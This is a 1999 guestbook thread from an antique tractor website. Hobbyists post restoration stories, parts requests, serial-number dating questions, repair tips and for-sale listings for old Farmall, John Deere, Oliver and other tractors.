Ron J. wrote on Friday, December 24, 1999 (PST):Have OC-6 Oliver.Engine SN/1024311. I'm trying to find tractor SN as SN tag is missing. Hoping someone could back track from engine number to find SN number. Also need sheetmetal,rollers,trackpins and bushings. Think this machine is between 1950-54 possibly a little older. I'm enjoying this project and any help would be greatly appreciated!
clair iverson wrote on Friday, December 24, 1999 (PST):I AM LOOKING FOR A RIM FOR A 44 DIESEL MASSEY HARRIS TRACTOR . IF ANYONE OUT THERE CAN HELP ME PLEASE CALL (218) 736-5757. THANKYOU THE SIZE IS 15.5 + 38"
John Noah wrote on Thursday, December 23, 1999 (PST):Just picked up an old B at a farm sale. Runs great and came with a woods belly mower. Looking for owners manuals and information regarding the different attachments that went with the B. Also have an old M that runs great and keeps the snow cleared off the drive in the winter. Came with a Westendorf loader and live hydrolics. Looking for owners manual for the old M as well. Any help would be appreciated! These old Farmalls are hard to beat! Run great and last forever!
Brad wrote on Thursday, December 23, 1999 (PST):I am looking for a woodsaw attachment for my Cub, plus any other implements that will fit. Thanks.
charlie wrote on Thursday, December 23, 1999 (PST):thanks, this is a nice service. i am rebuilding a 48 oliver 60 row crop. it has been around since i was three, so i had to give it some TLC. should be good as new when i am done you have helped me confirm what year it is..
DOUG FULLER wrote on Wednesday, December 22, 1999 (PST):I have two JD R's for sale. One is real straight and runs good. The other has rougher sheet metal; and runs. If interested call in the eve. 715-435-4113.
Thomas Waugh wrote on Tuesday, December 21, 1999 (PST):I have a 41 LA that my grandfather bought new. It has been handed down in the family. For 30 years I have driven this tractor and now it is restored. I use it for shows, snow plowing and giving rides to the future owners, my three daughters. It is hand started with a crank, no eletrics, and runs better then it did when new. What a beautiful tractor Deere made. I also have a 48 Model B that I'm restoring. It is used also for Snow Blading. And of course...the sound of these two tractors...Breathtaking at times.
Darold FREDERICK wrote on Tuesday, December 21, 1999 (PST): I also have DI narrow tread IT'S ONLY 48'' WIDE. IT'S 1948 MODEL AND HAD YELLOW PAINT.
Gerard McCloy wrote on Tuesday, December 21, 1999 (PST):i have a 1931 farmall regular that I've recently restored if anyone wants to talk to me about it email me
Mike Owen wrote on Monday, December 20, 1999 (PST):I bought an old parts book dated 4/63 from an old JD dealer. the M decal set number is AM 3173T for the grille,and it says "Decalcomania kit (includes all above) (sub. for AM 503T,AM 1154T and AM1158T) M, MC, MT). the front page also has pics of all 4 models that can be used to determine location of the grill decals.
charlie wrote on Monday, December 20, 1999 (PST):hi ! i own a 49 oliver 60 row crop. i am restoring it to original. had to do it. it's been around here since i was one year old, i'm 48 now. i have found the old cloth type wires and alot of other old or nos. stuff. should look better than new when i'm done, in a hundred pieces now. one of the last pieces is the steering wheel. i am looking for a used wheel. can anyone help me ? norman2 at gis.net
Mike N. wrote on Monday, December 20, 1999 (PST):According to the book I have Andrew B.'s tractor is a 1945 model. I also have just purchased a tractor from my uncle that has been in his family since purchased new in 1950. I also love the sound of the old 4 banger.
Scott Aune wrote on Sunday, December 19, 1999 (PST):I have a Model 3 5/8 x 206B 4 Serial Number 1813958 Minneapolis Moline and need to know more about what it is so I can obtain literature and parts for it. It also has a MM loader on it but know other ID.
Keith Clymer wrote on Sunday, December 19, 1999 (PST):I am looking for an "L" just for driving around our field with my son. It doesn't need to be for a show,just mechanically sound. I live north of Philly, Pa. Thanks
David Holxwarth wrote on Sunday, December 19, 1999 (PST):I have been around the two clyinders all my life. The first thing I would try is turning the pressure up a half turn. The next thing I would do is change the oil and filter some times the filters get pluged. If your main bearings are bad you should feel signifant end play and up and down play when the clutch is fully engaged. If all that checks out you probably need to rework the head mainly valve guides. and when you have the head off you will be able to tell if it needs rings.
Jim Warnke wrote on Saturday, December 18, 1999 (PST):I bought a D-19 and am just wondering if there is anyone out there who has ever owned one could tell me any special characteristics of the 19. I have experienced the partial engagement of the hi-lo lever and I am glad to know that this is normal in the D series. I did discover that the O-rings on the power iverler lever shaft can be replaced without breaking the tractor apart if you happen to have a fluid leak around the diverter lever shaft. Be careful not to slide the shaft too far either direction when changing the O rings or the half moon key maight fall out and into the bottom of the housing. It can be reached by taking the cover off the right side of the housing, but it added about 3 hours to my original 30 minute job, but it could have been a lot worse.
Doug Mick wrote on Saturday, December 18, 1999 (PST):I own a 1953 super M. It has live hydrolics and power steering. I have had it for 32 years and it runs as good as new.
Harlan Clark wrote on Saturday, December 18, 1999 (PST):I recently purchased a late '49 8N that I would like to add original tract-o-lite headlights to as well as replace the air cleaner assembly (under the hood). Does anyone know a good web site for original parts? Thanks for this site!!!
Kenneth M Bronner wrote on Friday, December 17, 1999 (PST):I have been a proud owner of a LA for over 33 years. when we purchased are first home the home owner through it in with the home because it had a big garden. now we live on a 420 acre farm and our son and grandson take good care of the "Johnny". it has all the attachments, plow, disk,drag and snow plow. It will always be part of our farm.
randy nichols wrote on Friday, December 17, 1999 (PST):need morse fairbanks magneto for 1937 allis chalmers model b mine has broken drive gear for rotor button
Don Yoxall wrote on Friday, December 17, 1999 (PST):I own (4) 44's, a 52 diesel that pulls, a 51 gas that works, a 49 gas that will pull, and a 53 diesel that will never run again (organ donor ) I don't don't smoke or chase women, mh 44's are my bad habit
k welden wrote on Friday, December 17, 1999 (PST):Have 2 cockshutt 60 also JD 330, M MH Pony IH Farmall Cub access to other collectables. Click me
andy roberts wrote on Thursday, December 16, 1999 (PST):This MM looks just like mine. I'm not sure of the model year. The steering wheel is on the left side and the seat is almost behind the rearend. I bought it to farm with but can't find any implements to use with it. I grow alfalfa and i use it to pull my bailer. I'm looking for some attachments like post hole auger and box scraper. It also might be for sale havent decided
Denny Nebgen wrote on Thursday, December 16, 1999 (PST):I have an opportunity to purchase acub lowboy, but I have some questions. The steering box is pretty loose; anyway to tighten it up? If not how available are replacement parts and what would something like a steering box cost? Also the owner told me it smokes after it's good and warmed up, could this be serious problem? Lastly, the pto grinds a little when you try to engage it, how hard to change and again can I find parts? Any help would be appreciated.
caleb wrote on Wednesday, December 15, 1999 (PST):looking into buying a 1949 case DI with loader don't know to much about this model. Is there any commom problem with the DI's or are they good tractors.
Bob wrote on Tuesday, December 14, 1999 (PST):A buddy of mine has a Massey Harris, its all origanal and its engine is red. I think it is a 45-55 horse engine
Maynard wrote on Tuesday, December 14, 1999 (PST): Hello,My son is Kenny,he is on this page,and I would like to help him with his tractor.My father has had this tractor since 1941,he ordered it strait from Racine,Wisconsin.I live in Minnesota.If anyone can help us,I would be of great appreciation.We also are looking for a Farmall M.We own a Farmall M with a trip loader.We also own a Farmall C with a rear hydraulic system,and a front snow blade,they are handy tractors.We would like to get all of the letters in the letter series,we need 3 more,not counting the super series.We would like to get another SC,cheap,so we can use it for parts.He wants one for his golden birthday,if someone knows where we can get one,please contact me. Thank you.
Jim Davidson wrote on Monday, December 13, 1999 (PST):I have a Ford 8N and am going to build a temporary mount for a belt driven generator. I'm not sure of the rear PTO speed. My best count is from 350 RPM at idle speed to 650 at top speed. Am I in the ballpark? Thanks
rich wrote on Sunday, December 12, 1999 (PST):have a fcub serial #4144 whats it worth still runs please e-mail me thanx to anybody that can help
JD-8 wrote on Sunday, December 12, 1999 (PST):I had a '38 JD L, serial 625203. It was evidently the 204th styled L. There were about 1000 unstyled L's made, and about 12,000 styled ones, so any L is a relatively rare find. They were made from 1937-1946. The early ones, including mine, had a drop-in Hercules 2-cylinder engine. Later the engine was made by JD but still had the same dimensions. The obvious difference is that on the Herkys the engine and clutch housing are two seperate pieces, with the JD model, they are all one piece. The LA is similar to the L but is about three horsepower more and it also was built a little heavier and has 24" rear wheels, compared to 22" on the L. There were 12 or 13,000 of them made, too, so in all you had about 25-26,000 L's and LA's made. The 22" tires are hard to find but they are still available-- keep trying! The L was practically the only tractor in America made to ride on those tires. The LA began manufacture in '41 and went to '46. Both the L and LA, along with the H and BR series, were replaced by the model M series from 1947 onward.
Donald E. Lurz wrote on Sunday, December 12, 1999 (PST):I would like to know where to purchase a water pump for a Ford 8N 6 cyl. 1949 tractor with cast iron pan. Thank You, Don Lurz
Clark Campbell wrote on Saturday, December 11, 1999 (PST):I have a 1970 AC D21 Ser II (127 HP Turbo). Am looking for a 3 stage hydraulic pump either new, overhauled or salvage.
LYLE JORGENSEN wrote on Saturday, December 11, 1999 (PST):I INHERITED MY OLIVER OC-6 DIESEL WITH OLIVER BUCKET LOADER IN 1989. ENGINE HAD NO POWER OR DIESEL RATTLE AT IDLE. TIMING OUT OF WACK SO I REBUILT INJECTOR PUMP/REPLACED BROKEN PARTS. RUNS VERY GOOD WITH DIESEL RATTLE AT IDLE AND PLENTY OF POWER BUT LOW OIL PRESSURE AT IDLE. THIS BLOCK IS USED FOR GAS APPLICATIONS SO HAS 4 SMALL MAIN BEARINGS.I WILL PULL PAN AND CHECK BEARINGS AND OIL PUMP. ALREADY TIGHTENED UP OIL PRESSURE REGULATOR TO MAX.TRACKS ARE GOOD BUT NEED ROLLERS AND PINS.DRIVE SPROCKETS WORN AND NEED WORK.MUST FIX HYDRAULIC PUMP. SEALS GONE. HYDRAULIC CYLINDERS GOOD.NO PTO OR REAR IMPLEMENTS. NEED ENGINE SIDE COVERS AND AIR CLEANER DUST COLLECTOR. NEAT TRACTOR.
jon wrote on Friday, December 10, 1999 (PST):I have an 8N with the 6 cyl. Funk conversion. They used regular flathead 6's out of big Fords as well as the industrial engines. There are minor differences like the water pump. The early Funks and all Glover coversions used a channel iron frame. They later switches to a cast iron pan. You can tell what year your tractor is by looking at the date on the pump (bottom by the drainplug) assuming it hasnt been replaced. There are also dates cast in the rear axle, and other places on some tractors. The 2Ns have the date on the starter part of the bellhousing. The later 8Ns had proofmeters, and some had different looking rear axles and round brake pedals. The Funk flathead 6s use the donors clutch and pressure-plate (11 in.), and the tractors throwout bearing. The starter is also stock flathead six but uses a Funk adaptor. They later made OHV six cyl. conversions, most of these were Glovers, they are the rarest. As far as value, they really havent seemed to increase in value, a worker about $2500, and a show tractor about $4500.
Rick Nikolich (GeneD14) wrote on Friday, December 10, 1999 (PST):Hi, I've only had my 160 since Aug 99. The brakes were bad, I've heard the 160's are prone to brake problems. The tie rod ends were worn out and I had to custom make new ones. I replaced the seals on the lower lift arms (big job!). Some parts are very tough to locate. Now for the good stuff; power steering! live pto! live hyd! heavy tractor with tires loaded. The Perkins engine has a good reputation for reliability and good cold starts. So far my 160 has been pretty good, it was restored by the previous owner a few years ago. Good Luck!
Dan McArdle wrote on Friday, December 10, 1999 (PST):Does anyone know where I can find a L or LA for sale in Illinois, Wisconsin, Indiana. I live in the southwest suburbs of Chicago, IL.
Donald Tucker wrote on Friday, December 10, 1999 (PST):I have a Farmall "B" that I am in the process of restoring. I am looking for a battery box that is in decent condition. Thanks for your help.
Darrell Faryna wrote on Thursday, December 09, 1999 (PST):These are really great machines! It probably has one of the sweetest sounding six cylinder diesel engine of its era. It is a lively tractor for its size(except for its power steering,which is kind of slow) and really digs in and snorts in the rough spots. Our 500 Diesel did a lot of acreage on our Alberta farm without a whimper and is now in the process of restoration. It is 99% complete now and a real jewel to look at and run.
Ed Marchesich wrote on Thursday, December 09, 1999 (PST):Looking to locate a 1921 Hart-Parr rad ornament for 18-36 HP or any information on how to replicate one. If you can help, please get in touch!
John Price wrote on Wednesday, December 08, 1999 (PST):I have a '39 H #6749. I plow snow with it and am in the process of painting. I'm looking for a picture or diagram of how the 1 bottom plow hooks up in both front and back. I can tell something is missing, but can't tell what. Help!
Fred cunningham wrote on Tuesday, December 07, 1999 (PST):Ihave a farhmall cub for sale it has a bellie mount mower with hydraulic lift plus a snow blade my phone number 740-967-0866
Timm Kelly wrote on Monday, December 06, 1999 (PST):I bought my 2010 15 years ago, It's a row crop wide front, that has been a good friend way late at night haying, to early in the morning removing snow with it's loader. The neighbors LOVE it too!
Bill Mullinax wrote on Monday, December 06, 1999 (PST):Ace Hardware has a spray can paint called International red ace #17134. It is nearly perfect.Also I need wireing harness for a 1950 cub.
John Kraemer wrote on Monday, December 06, 1999 (PST):For Sale 1947 Farmall Cub--Excellent condition ALL ORIGINAL Includes belly mower and cultivator. I even have the origianl manuals for tractor and cultivator. I'm the second owner. $3,000 located in St. Louis.
CARL E. PEARSON wrote on Sunday, December 05, 1999 (PST):i am restoring a farmall md it is original butiam looking for the final two pieces namely a belt pulley and a pto guard and mabybe a hand crank. if someone has these for sale please contact. thank you
H. Burnett Clasic Repair wrote on Sunday, December 05, 1999 (PST):I have an oc-3 Part restored . No sheet metal . Runs all new track Rollers with new pins. trans rebuilt. new bands. Dont know if its feasavle to finish or not or just junk it out.
kevin russell wrote on Sunday, December 05, 1999 (PST):i am a member of the st. clair co. farm museum. we have two steam traction engineson site. a baker 21/75 engine and a port huron engine also. icurrently operate the baker, i have never had more fun and thrills running the engine. her name is ol,betsy. we call her the sleeping giant too. i cant wait to wake the giant in the spring. the fire is built and i wait for her to build steam oil all drives and pinnions and go for a run..... its great fun to belt her up to our port huron thresher too. we also run her on the baker fan too. we now have a port huron saw mill complete and hope to have it setup for summer operation... could any one write back? share some comments? just call me steam!! ha ha!! 12/5 /99.
Andrew B. wrote on Saturday, December 04, 1999 (PST):I recently got a Farmall M Series, and I know it's from the 1940s, but I'm trying DESPERATELY to find the exact yearof production. It's serial number is; FBK-87672-XI, and has hydraulic feature AND a magneto, which makes it hard to pinpoint a year in the 1940s. Also, notice that the serial# has 5-digits rather than 4-digits. PLEASE HELP! EMail me with any suggestions of howI can find the exact year of production of this FARMALL M. Thanks!
Hanes wrote on Saturday, December 04, 1999 (PST):Any secondhand Ford5000, 6600 , 6610 for sale? But make it cheap.
gordonmoen wrote on Friday, December 03, 1999 (PST):12-3-99 I have a 1949 LA case 2 dc's several allis chalmers and several others. I have been a diesel and all around mechanic for 35 years. Have knowledge and some old case parts.Have old wagons and wheels for sale.
Rick wrote on Friday, December 03, 1999 (PST):I've got an OC-3 that runs quite well and has good tracks. It needs bushings in the idlers and first and reverse make some noise. The noise from those gears may be natural but in 2 & 3 the trans is very quiet. Anybody know about the noise and the bushings?
william fagan wrote on Friday, December 03, 1999 (PST):I have a 301B john deere with loader tires and a large bucket. Can anyone tell me approximately what year it might be,horsepower or anything about it?
Garson gural wrote on Thursday, December 02, 1999 (PST):I have a farmall at my Grandparents house that i bought with my own money it is als a M but it is for (Sale) if you would like to contact me I live in windsor ont. telephone #256-3648
Doug Forester wrote on Wednesday, December 01, 1999 (PST):i would like some info on the tractors you have for sell please.Thank you
Murray wrote on Wednesday, December 01, 1999 (PST):I have just acquired a WD-9, and it is the best tractor I have got.
tom phoenix wrote on Wednesday, December 01, 1999 (PST):I lived down the street from a dairy farm while I was growing up. The farmer was a great guy who tolerated a curious kid hanging out and asking questions. Boy! Did I learn a lot from that farmer. The best thing I learned was how to drive a tractor. He had several tractors, a big White Field Boss, a Oliver 1855, and the one that is still dear to me, a 1946 Oliver Row Crop 60. This is the tractor that he tought me on. He had restored it to its original condition(his father had bought it new), and it had seen over 20 years of hard field use. It had always been maintained but it did need some "freshening up" and a new coat of paint, and Larry,(the farmer, let me assist in the restoration. Then best of all he showed me how to operate it! In 1980 the farm moved to upstate New York(they needed more land to stay competitive), and they took all their equiptment with them. Larry still owns that old Oliver and he instilled in me a love for old tractors which I indulged about 10 years ago when I bought a McCormick Deering 10-20 on full steel from another local farmer's widow who was selling off the family farm for a housing developement. Someday I do plan on acquiring an old Oliver Row Crop 60 to restore and hopefully show and parade. Thanks for listening. I enjoy your web page. Tom.
John Grabbe wrote on Wednesday, December 01, 1999 (PST):Was Minneapolis Moline the first to offer the mechanical front end on their tractors?
Richard Navis wrote on Tuesday, November 30, 1999 (PST):I have purchased a WC earlier last spring.I have just started to restore it. It needs an engine rebiuld,paint,and tires.I am an Oliver nut, I have about ten. My wife and I own and operate a dairy farm in eastern WI. right along lake michigan. I do get to use all of my tractors. My hobby is to fix and restore the older models. The reason for the Allis is because it is part of Agco. It has been fun working on the WC.
Ger wrote on Tuesday, November 30, 1999 (PST):I pull logs every winter with my 8N with Blackhawk (ARPS Corp.)halftrack. It works remarkably well-more traction, even in deep snow, than tires on dirt. It steers quite well using the brakes to assist and doesn't place much drag on the system. I'm looking for more info, manuals etc on the system.
Larry Nicholson wrote on Tuesday, November 30, 1999 (PST):I have a 1948 Cub and I have a chance to trade some of my equipment for a center blade for the cub. The person that has the blade and I do not know what attachments are needed to make it work. If anyone knows what I would need to make it work it would be very helpful. Thanks Larry
Josh McCrory wrote on Tuesday, November 30, 1999 (PST):i just bought a farmall M, I haven't even gotten it home yet and all ready I love it! I want to restore it and pull it in compatition. Can anyone tell me what my limits are on building the engine?
Sue wrote on Tuesday, November 30, 1999 (PST):In the early 50's my father bought a 40's model M Farmall, I was about 6 or 7 at the time. He used the Farmall to do custom hay baling all around our county, and also used to pull a combine, which he also used on other farms. It still remains one of my favorite antiques, although the tractor was traded for an 861 Powermaster in the early 60's, I can still the sound of that engine as if it were yesterday. My father died 2 years ago at the age of 92, still farming and still bragging about that old "M'.
Kelly Maloney wrote on Monday, November 29, 1999 (PST):I want to find an AC model G and/or a John Deere model L in north central texas (Wichita Falls area)that is in need of retoration. Willing to drive three hours in any direction to look. Must be reasonably priced.
jeff clawson wrote on Sunday, November 28, 1999 (PST):I have a 1934 plymouth,1937 3-wheeled silver king, 1937 4-wheeled silver king, and a 1947 model 42 3-wheeled silver king. I have used these tractors for various chores and feel they were a very well built tractor for there time, they were just poorly marketed. I enjoy the time i spend on them.
Kathy wrote on Sunday, November 28, 1999 (PST):My husband was just given his grandfather's G. He would like to restore it and is interested in getting an owners manual for it, even a copy would be great. Thanks.
Neil Wojiciechowski wrote on Sunday, November 28, 1999 (PST):I have 3 AC Model G's FOR SALE. 1949 with PLOW $2200.00. 1951 with RARE power mulcher and hydraulics $4000.00 and a 1949 with a MOTT Flail MOWER $3800.00. All are in very good condition and located in North East Ohio. Pictured below is the 1949 for $2200.00. Pictures are available of the other 2.
Dean Englund wrote on Sunday, November 28, 1999 (PST):Back in the late 50s early 60s I remeber when my grandpa had an 3 wheel avery used it to pull the rope on the barn that lifted the loose hay in a sling up into the hay loft.thats all I remember it used for.Tryed tracking where it went but no luck.My friend has one with a loader and herc engine.I know of anotherone that someone has put a ford tractor engine in it,and that ford motor has a mag on it which I never seen before.Im from Minnwould enjoy having an Avery or finding my grandpas.
Mark wrote on Saturday, November 27, 1999 (PST):Have a restored '47 B. Looking for a custom cover/tarp for storage or transport. Any ideas?
Doug Henke wrote on Saturday, November 27, 1999 (PST):I think the R is the best diesel JD built. I have had 4 of them in the last few years. I kept 2 of them as they seem to be in great shape and have had to do very little work on them. The problem with most of them you find is they have been worked so hard that everything needs to be rebuilt. Sure am glad I got 2 real nice ones, only problem is which one to drive first. Love to get both running at the same time. Sounds great.
Don Davidson wrote on Saturday, November 27, 1999 (PST):My dad has just purchased a Ford 8N with a 6 cylinder Ford Industrial engine. He needs an exaust manafold, carborater, and a starter. Can any one tell me where to find parts? Can anyone give me information on the Funk Aircraft Co.? How can I tell what year the 8N is with this Funk conversion?
Phil Hendrickson wrote on Saturday, November 27, 1999 (PST):I have to agree with Ritch F. about the sound of the engine, it is a sound I will never forget. We use to own a 560 diesel, wide front, and would love to buy one to rebuild and listen to the great engine purrrr!! Hacksaw
frank wrote on Saturday, November 27, 1999 (PST):I own int. 300 or so i think it is,it has a backhoe&front end loader.I used it all year to dig and clear land great machine,burns oil would like to replace the rings but need a book on the specs also i think it has a wager backhoe? any help would be great.
michael brophy wrote on Friday, November 26, 1999 (PST): I've just inherited my granddad's IH model A, a 1944 which he purchased at a town auction years ago. It runs well, but needs restoration. Any advice or input appreciated! No E-mail (yet), but phone # is (401)7898774 RI.
RODRIGO GONZALEZ VERDUGO wrote on Friday, November 26, 1999 (PST):SON SUPER BONITOS Y BUENOS LOS MODELOS JOHNN DEER ME ENCANTAN SI FUERA POSIBLE ME ENVIARAN FOTOGRAFIAS DE LOS MODELOS MAS RECIENTES ME ENCANTA SU TECNOLOGIA Y CALIDAD... CON MUCHO AGRADO DE HABER VISITADO SU PAGINA SE DESPIDE UN LOCO DE LOS TRACTORES.. RODRIGO GONZALEZ PD. ESPERO SU CORREO.
fred allen wrote on Friday, November 26, 1999 (PST): my father in law is a oliver user and swears by them. hard-par and super 55 . he also has an orginal oliver combine and it runs and goes like it was new
CH wrote on Thursday, November 25, 1999 (PST):I own an OC 3, Oliver. Will soon begin restoration. Parts? Info? CH
ANTHONY wrote on Thursday, November 25, 1999 (PST):THING TO REMEMBER WHEN HAULING IMPLEMENTS WITH A NARROW FRONT END TRACTOR. THE TRACTOR WILL TURN VERY SHARP. THIS MIGHT CAUSE THE EQUIPMENT BEING HAULED TO END UP KNOCKING YOU OF THE TRACTOR SEAT. IF IT IS A DRAG HARROW ESPECIALLY.
Mark E. Clements wrote on Wednesday, November 24, 1999 (PST):my wifes grandpa had a wd with crank start. her sister and my wife ask there grandpa if the could drive the AC. he told them if they could start it they could take it to the woods. it didn't take long and off to woods they went. you see my wife is 47 years old and this happen when she was 9 or 10. here sister was 4 years older. this happen around waldo ohio 37 years ago.
Eugene Schacht wrote on Wednesday, November 24, 1999 (PST):I am looking to buy a Farmall Cub with a belly mower. Any year that is in running condition is acceptable. Must be located fairly close to northwest Ohio region. Contact by e-mail or by phone 419-691-4069.
GT wrote on Wednesday, November 24, 1999 (PST):Wasn't the 140 just a cosmetic upgrade of the Super A? I've been looking for either an A or 140 to restore but they are scarce in Arizona. Surprising in that you see alot of H's and M's still hard at workin the fields west of Phoenix. Does anyone know of any salvage yards within a couple of hundred miles of Phoenix?
Kelly wrote on Tuesday, November 23, 1999 (PST):I presently have a International "C" and "H" now I am looking for an "M" If any one wants to get rid of one please write back/sheet metal dosent need to be in good shape at all. Just need it to use around the farm because i dont like to use the ones that are painted. I live in Emporia KS. I Dont want to travel very farr to get it. 400-500 $ Thank you.
ray cutting wrote on Tuesday, November 23, 1999 (PST):i'am looking for a eagle hitch for a case sc, also a rubber mount for seat
Paul Macuch wrote on Tuesday, November 23, 1999 (PST):I have a 1940 Farmall A and I have a set of cultivators from a Farmall Cub. The cultivator parts were not assembled and I'm not sure how they fit. Has anyone got photos of assembled cultivators and will the cub parts fit on a model A?
Bob wrote on Tuesday, November 23, 1999 (PST):I have a case VA ( basket case ) plan to restore .I would be interested in parts that others may have or just hearing about there project .
ken kelliher wrote on Monday, November 22, 1999 (PST):would like to find a trip plow for a farmall m please send some info where the best place to find one
Loren Alexander wrote on Monday, November 22, 1999 (PST):I would like to know if they made a 3 point hitch for a massey harris 44 gas. I own a 44 and it runs like a deer but would like to have a 3 pont. I don't see any where that they even had one but don't understand why not. can anyone help me out. Thanks
AUBOYER MAURICE wrote on Sunday, November 21, 1999 (PST):I am French. I am 57 years old I am fascinated by this tractor TITAN 10-20. When I was young , 5/6 years old , I was put on the seat of this tractor. I was terrified by the noise, mechanical parts in movement, steam from the water barrel, valves as little men dancing, sparks in the night; These tractors were bringt in France by US troops in 1917/1918.They were used to supply front line and to tract guns.After war they have been sold. In my village in BRITTANNY (West of France) they were several of them.I think they were in use since the beginning of the sixties years. Farmers owners of this tractor had only one in use but one or two other was used as spare parts. TITAN 10-20 was only used to plough or to drive trheshing-machine by belt and pulley. I doen't know if there is since one of TITAN 10-20 in FRANCE. I think also Titan 10- 20 is not a "misceallenous" tractor but a true I.H. tractor.
Roy Thomas wrote on Sunday, November 21, 1999 (PST):Hi. My 15-30s don't look like the beauty on this page, but I posted some pictures of mine at; members.xoom.com/thomasclem/ If you look, you can see I'll have projects into my sunset years.
Lester wrote on Saturday, November 20, 1999 (PST):I have a model B and it appears that my clutch has gone. I am getting ready to break it apart and was wondering if anyone can let me know if there are any potential problems I can expect to encounter. I have never changed a clutch on a tractor before.
Doak wrote on Friday, November 19, 1999 (PST):Larry Mears, Your Cub is probably a 1948 Model
Mark wrote on Friday, November 19, 1999 (PST):I would really like to find a piece of literature on the unstyled L.I know these are fairly rare but if anyone could keep me in mind if they know of one or if they see one I'd sure appreciate it. Thanks...815-747-2613
Craig Braddock wrote on Friday, November 19, 1999 (PST):I am looking for tracks, track links, some shoes for my 420C. It is a good machine with a loader and rear rippers. Had a short block put in, transmission work about 4 years ago. It runs good. Can you help me find the parts I need? Craig Braddock
Mike Druschel wrote on Friday, November 19, 1999 (PST):I have a farmall M (1946) that we still use everyday on my dairy farm in pennsylvania We use it everyday to haul manure and rake hay in the summer. For being 53 years old the old girl still runs very well it starts everymorning and stops every night. when my grandpap first bought it, it had steel wheels on it but after about 20 years of that they burnt the wheels off and put rubber ones on it. We still use it to run our silo blower with it's pulley. I will tell you one thing that they are one of the worst things to run over plowed ground. You almost break your wrist try to keep the wheel from spinning out of conntroll. It may be old but it is in very good condition the sheet metal is still stright and there is no rust. i want to do a complete restoration on and put the steel wheels back on it. I want to do this so I can display and pull it at my tractor clubs show.
GeneD14 wrote on Thursday, November 18, 1999 (PST):When the power director clutch is in the neutral position the transmission oil between the clutch discs causes just enough drag to make the tractor want to move. In cold weather the fluid is even thicker and will make this even more noticeable. This is normal for D-series tractors, so be sure to shift the gear selector into neutral before dismounting the tractor.
Les Hunt wrote on Wednesday, November 17, 1999 (PST):I have one of these that my grandfather bought when it was about two years old - not sure of age but I believe it was made in the early 30's. I am now in the process of restoring it and am in need of some parts. The original throttle control has been moved and the block and head are now cracked. It still runs though! Any help appreciated.
james N wrote on Wednesday, November 17, 1999 (PST):I own a vah. We believe it to be a 1950 model. I would like to know if there is someone that can tell me where I can get parts for it and a club that I could get more info on them THANKS JIM
Stan Fryzel wrote on Wednesday, November 17, 1999 (PST):I have a Farmall "M" (1944) that sat in the barn for 6 years..I drug it out woth a chain ran some keroscene through the engine a few tines..changed the oil and filter foured some gas in the tank.and what do u think happened...YES...THE "M" started...This winter im going to give the Old reliable "M" a good face lift and total restoration.. OH...Im looking fort a hand crank for my "M"......Stan
Bob Wolfe wrote on Tuesday, November 16, 1999 (PST):Have any of you see a twin minee hitch. It was made up of two 1350 mm"s The frount axle was removed on one hand controles put on it! Hooked to the back of the first one. Combined would pull a twenty four ft. disk& a field cultervator& Hairgator at the same time. Also pulled a ten bodom plow! Thats right 10\16 plow in 1973! It was known as the Fecht boy's M&M hich Owned by Donald & Roger Fecht OF Carthage,I.LL It was great to see it run. They used it that way for about eight years. It is still talked about to this day. That was over Almost thirty years ago If you got one better than that I would love to hear about it. Farm kid at heart. Bob Wolfe Phx,AZ
William wrote on Tuesday, November 16, 1999 (PST):Does anyone know where I could find a N-62 continental engine? Also, what engine would have interchangeable parts with a N-62? Please e-mail with any information. Thanks.
Gilles BELY wrote on Tuesday, November 16, 1999 (PST):Quel type de tracteur Massey-Harris tait-il export en France en 1945? Je suis journaliste et je prpare un article sur les premiers tracteurs de l'aprs-guerre. On m'a parl d'un tracteur de 25 CV, soupapes latrales, sans culbuteur, de 2,7 l. de cylindre... Il valait avec sa charrue 124.500 F franais de 1945. Merci de me rpondre.
lori wrote on Monday, November 15, 1999 (PST):I've been looking for pictures of the detail paint on rumley's from the year 1914 to 1928. Ild really like original photo's from magazines, but anything would work. If you can help me ,i'ld really apprieciate it. Thanks, Lori
Allen McIntosh wrote on Monday, November 15, 1999 (PST):4 years ago I found a D-15 Series II Industrial with a TS-500 Loader and Hoe. To my surprise it had a Deisel motor in it. The book said it was a Buda. During resteration I pulled the shuttel shift clutch pack out. I have a old manua that showes the procedure for rebuild and shiming the clutch pack. It can be shimmed and inspected on the D-15 through a side plate on the transmission. Contact me and I can scan the manual and send it to you If you would like. Any one out there have a starter for a d-15 deisel for sale, or starter drive.
Larry Mears wrote on Monday, November 15, 1999 (PST):I have now located the correct number on the tractor. Serial # is ; 38762 ; any help on finding the year model would be apperciated. Thanks, Larry Mears
mark wrote on Sunday, November 14, 1999 (PST):when engaging my D-17's power director clutch lever into forward or reverse, the tractor will act as if it wants to move and then stop moving.....anyone have a solution?
Thomas Harrower wrote on Sunday, November 14, 1999 (PST):I have just acquired a tractor that is an I6 McCormick Deering , does anybody have any pictures or information specifically for the I6 tractor? I have found many pictures and books that show pictures of the Model W6 , but not the I6. I know that the lettering is different but that is all. Somebody mentioned to me that the I6 could have been painted a blue or a grey rather then Farmall Red. Does anybody have any information? Anything would be GREATLY appreciated.
Don Buescher wrote on Sunday, November 14, 1999 (PST):Does any one have information on getting parts for a Massey Harris 444d row crop tractor? Plan on restoring and was missing a few parts. Also, does any one have any idea what this tractor would bring if was restored as I don't see too many around. Thanks
Donnie Land wrote on Sunday, November 14, 1999 (PST):I have a 1946 Farmall M. I use it to do all my farming from Bush hogging to cutting hay. It is all original and still runs great. If there is a better built tractor, I would like to see it.
Charles Draper wrote on Sunday, November 14, 1999 (PST):8N for sale, good condition.
Peter Tyler wrote on Sunday, November 14, 1999 (PST):I have used a John Deere 2010 a wide front end. As a youth on the family farm. We used it for haying also everything else that we did on the family farm. It was a superb tractor, did everything we asked of it. I currently own the smaller John Deere 1010,farm is no longer in production.I use the tractor mainly for Bush hoging, and dragging in timber
Larry Mears wrote on Saturday, November 13, 1999 (PST):Last summer I purchased a restored farmall cub. Trying to find out wht year it was manufactured. Got this # off the tag on block behind the carbarator ; 39202. Please email me if you have any info as to when it was made. Thanks, L. Mears
HTomatoes wrote on Friday, November 12, 1999 (PST):I have a vac narrow front end. Don't know what year. The ignition points seem to burn very fast. Anyone know why? The distributer gets a lot of condensation in it and the points want to short out. Would appreciate some help.
Guy in Sandy Eggo wrote on Thursday, November 11, 1999 (PST):I have an L or LA which is apart but really needs fairly little heavy restoration. two ??; 1. where are good parts sources, and do a lot of guys just get parts rebuilt locally; 2. what is the difference between L & LA models? Thanx
